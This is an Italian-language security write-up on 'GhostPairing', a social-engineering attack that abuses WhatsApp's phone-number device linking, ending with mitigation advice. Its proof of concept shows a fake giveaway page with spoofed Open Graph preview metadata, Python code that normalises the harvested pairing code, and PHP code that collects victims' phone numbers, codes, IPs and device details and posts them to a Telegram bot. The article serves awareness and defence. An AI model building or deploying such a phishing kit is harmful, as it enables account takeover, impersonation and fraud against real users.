Introduzione
Nel panorama delle minacce mobile stiamo osservando uno spostamento tattico significativo: i threat actor stanno progressivamente abbandonando il tentativo di compromettere protocolli crittografici complessi per concentrarsi sull’abuso di funzionalità legittime attraverso tecniche di social engineering mirate. La tecnica di attacco nota come GhostPairing rappresenta un esempio concreto di questo approccio, basato non su vulnerabilità software ma sulla manipolazione dei flussi autorizzativi previsti dalla piattaforma.
A differenza di attacchi tradizionali, come ad esempio lo sfruttamento di 0-day o il SIM swapping, il GhostPairing non aggira la crittografia end-to-end di WhatsApp. L’attacco opera a livello logico, abusando della funzione ufficiale di collegamento dispositivi prevista per WhatsApp Web e per la modalità “Collega tramite numero di telefono”.
L’attaccante induce la vittima a fornire il numero di telefono, che di conseguenza, utilizzerà per generare il codice di pairing. Dal punto di vista del sistema, l’inserimento del codice equivale a un’autorizzazione esplicita all’aggiunta di un nuovo dispositivo associato all’account. Non viene sfruttata alcuna vulnerabilità tecnica: l’utente compie volontariamente un’azione che la piattaforma interpreta come legittima. Il risultato è la registrazione di un dispositivo controllato dall’attaccante, pienamente autorizzato e persistente fino a revoca manuale.
Per analizzare operativamente questo scenario, è stata effettuata una simulazione controllata dell’attacco. È stato creato un finto concorso online contenente un form di raccolta del numero di telefono. Dopo l’inserimento del numero, la vittima viene guidata, tramite una sequenza di istruzioni, a recuperare e utilizzare il codice di collegamento generato da WhatsApp, credendo di completare una procedura necessaria alla partecipazione al concorso.
L’aspetto più critico emerso dalla simulazione è la potenziale propagazione della compromissione. Una volta ottenuto accesso all’account, l’attaccante può inoltrare il medesimo sito fraudolento ai contatti della vittima, sfruttando una relazione di fiducia reale e preesistente. Il messaggio proviene da un contatto legittimo, con una cronologia di conversazioni autentiche, aumentando in modo significativo la probabilità di interazione e replicando il meccanismo su scala progressiva. Si genera così una catena di fiducia che facilita la compromissione di ulteriori account.
Parallelamente, l’accesso consente attività di impersonificazione diretta: richieste di denaro, invio di coordinate bancarie alterate, diffusione di ulteriori link malevoli o raccolta di informazioni sensibili.
Proof of Concept
Abbiamo pubblicato una landing page strutturata secondo il formato tipico di un giveaway legittimo, con grafica essenziale, messaggistica promozionale e una call to action centrale finalizzata alla raccolta del numero di telefono.
L’obiettivo è indurre l’utente vittima a fornire volontariamente il proprio recapito, utilizzato come punto di ingresso per l’abuso del flusso di collegamento dispositivi di WhatsApp.
Rafforzamento della credibilità sfruttando protocollo Open Graph
Al fine di incrementare la credibilità percepita del dominio, è stato implementato e sfruttato il protocollo Open Graph, come riportato nell’estratto seguente:
<meta property="og:title" content="Give Away Maria Rossi - Vinci TV OLED" />
<meta property="og:description" content="Partecipa anche tu al Give Away di Maria Rossi!" />
<meta property="og:image" content="https://vinci.mariarossi.it/google-logo-anno-2016-600x602.jpg" />
<meta property="og:type" content="website" />
<meta property="og:image:width" content="1200" />
<meta property="og:image:height" content="630" />
<meta property="og:site_name" content="GiveAway Maria Rossi - Vinci TV OLED" />
L’utilizzo dei metadati Open Graph consente di controllare le anteprime generate automaticamente dalle piattaforme di messaggistica e dai social network in fase di condivisione del link.
Nel caso specifico, titolo, descrizione e immagine di anteprima sono stati definiti in modo arbitrario, includendo un logo riconducibile a Google al fine di rafforzare l’affidabilità percepita del sito e aumentare la probabilità di interazione.
Automazione del flusso di pairing
A seguito dell’invio del form, il backend attiva un’automazione che inizializza il flusso di pairing di WhatsApp Web in modalità “collega tramite numero di telefono” ed acquisisce il codice generato dalla piattaforma.
L’output dell’automazione viene successivamente normalizzato, mediante rimozione degli spazi e concatenazione dei segmenti, al fine di ottenere la stringa continua richiesta dalla procedura di pairing.
Di seguito è riportato un estratto rappresentativo della sola fase finale di normalizzazione dell’output:
# Esempio: normalizzazione dell'output già estratto dall'automazione
codice_lista = [c.strip() for c in codice_raw.split(",")]
codice_whatsapp = "".join(codice_lista)
print("Codice WhatsApp:", codice_whatsapp)
Nel passaggio applicativo successivo, il codice viene presentato all’utente come requisito necessario alla convalida della partecipazione, mantenendo coerenza con il flusso precedentemente mostrato e riducendo la probabilità che l’utente rilevi anomalie tra l’invio del form e la richiesta di inserimento del codice nell’app di WhatsApp:
Una volta cliccato il pulsante “Conferma”, l’attaccante resta in attesa che la vittima completi l’azione richiesta, collegando inconsapevolmente il proprio account a una sessione sotto il controllo dell’attaccante.
Raccolta e trasmissione dei dati
Il sito web è stato anche configurato per trasmettere i dati raccolti tramite richiesta HTTP POST a un bot dedicato su Telegram, appositamente predisposto per la ricezione e l’archiviazione delle informazioni inserite dagli utenti.
// Raccolta informazioni dalla richiesta HTTP
$phone = trim($_POST['phone'] ?? '');
$code = trim($_POST['code'] ?? '');
$ip = $_SERVER['REMOTE_ADDR'] ?? 'n/d';
$ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$browser = $browser ?? 'Unknown';
$os = $os ?? 'Unknown';
$device = $device ?? 'Unknown';
// Costruzione del payload informativo
$message = sprintf(
"Telefono: %s\nIP: %s\nBrowser: %s\nOS: %s\nDispositivo: %s\nCodice: %s",
$phone,
$ip,
$browser,
$os,
$device,
$code ?: '-'
);
// Invio verso endpoint Telegram
$postData = http_build_query([
'chat_id' => 'CHAT_ID',
'text' => $message
]);
Al termine del flusso, oltre al numero di telefono, vengono acquisiti i seguenti elementi tecnici associati alla sessione di navigazione:
- Indirizzo IP pubblico
- User-Agent
- Browser utilizzato
- Sistema operativo
- Tipologia di dispositivo (mobile, desktop, ecc.)
Tali informazioni consentono una profilazione tecnica dell’utente e permettono all’attaccante di monitorare in tempo reale lo stato del processo di compromissione (numero inserito, codice ricevuto, sessione completata).
Impatto della compromissione
Una volta stabilito il collegamento, l’attaccante ottiene pieno accesso all’account WhatsApp della vittima, comprese tutte le conversazioni private. Le capacità operative includono:
- Lettura e scrittura di tutti i messaggi, inclusi quelli protetti da crittografia end-to-end, in quanto l’accesso avviene lato client
- Invio di messaggi a nome della vittima
- Visualizzazione di gruppi, stati, foto profilo e contatti
- Eventuali codici OTP/2FA inviati tramite WhatsApp
La sessione resta attiva fino a revoca manuale da parte della vittima, tramite la sezione “Dispositivi collegati” nelle impostazioni di WhatsApp
Misure di Mitigazione
La tecnica descritta evidenzia come l’abuso del meccanismo di collegamento multi-dispositivo possa determinare la compromissione dell’account senza sfruttare vulnerabilità tecniche, ma esclusivamente attraverso manipolazione dell’utente.
La mitigazione del rischio richiede pertanto un approccio strutturato che integri misure preventive, controlli periodici delle sessioni attive e procedure di risposta tempestiva in caso di compromissione dell’account WhatsApp.
1. Prevenzione del social engineering
- Evitare la condivisione del numero di telefono su siti web, concorsi o iniziative non riconducibili a fonti ufficiali o verificabili.
- Non inserire codici di verifica o codici di pairing su siti web di terze parti. WhatsApp non richiede l’inserimento di codici di autenticazione al di fuori dell’applicazione ufficiale.
- Prestare particolare attenzione a richieste che presentano il collegamento di un dispositivo come passaggio necessario per ottenere premi, completare registrazioni o partecipare a sondaggi.
2. Verifica periodica dei dispositivi collegati
Poiché l’attacco si concretizza tramite l’associazione di una nuova sessione Web, il controllo delle sessioni attive rappresenta la principale misura di rilevazione:
- Accedere alla sezione “Dispositivi collegati” nelle impostazioni dell’app.
- Verificare periodicamente l’elenco delle sessioni attive.
- Revocare immediatamente dispositivi non riconosciuti o sospetti.
- In caso di dubbio, disconnettere tutte le sessioni attive e procedere a un nuovo accesso controllato.
3. Gestione della compromissione
In presenza di evidenze o sospetti di accesso non autorizzato:
- Revocare tempestivamente le sessioni anomale dalla sezione “Dispositivi collegati”.
- Verificare l’assenza di attività non autorizzate (messaggi inviati, accessi anomali, richieste di codici OTP).
- Informare, ove applicabile, il team di sicurezza aziendale per la gestione dell’incidente.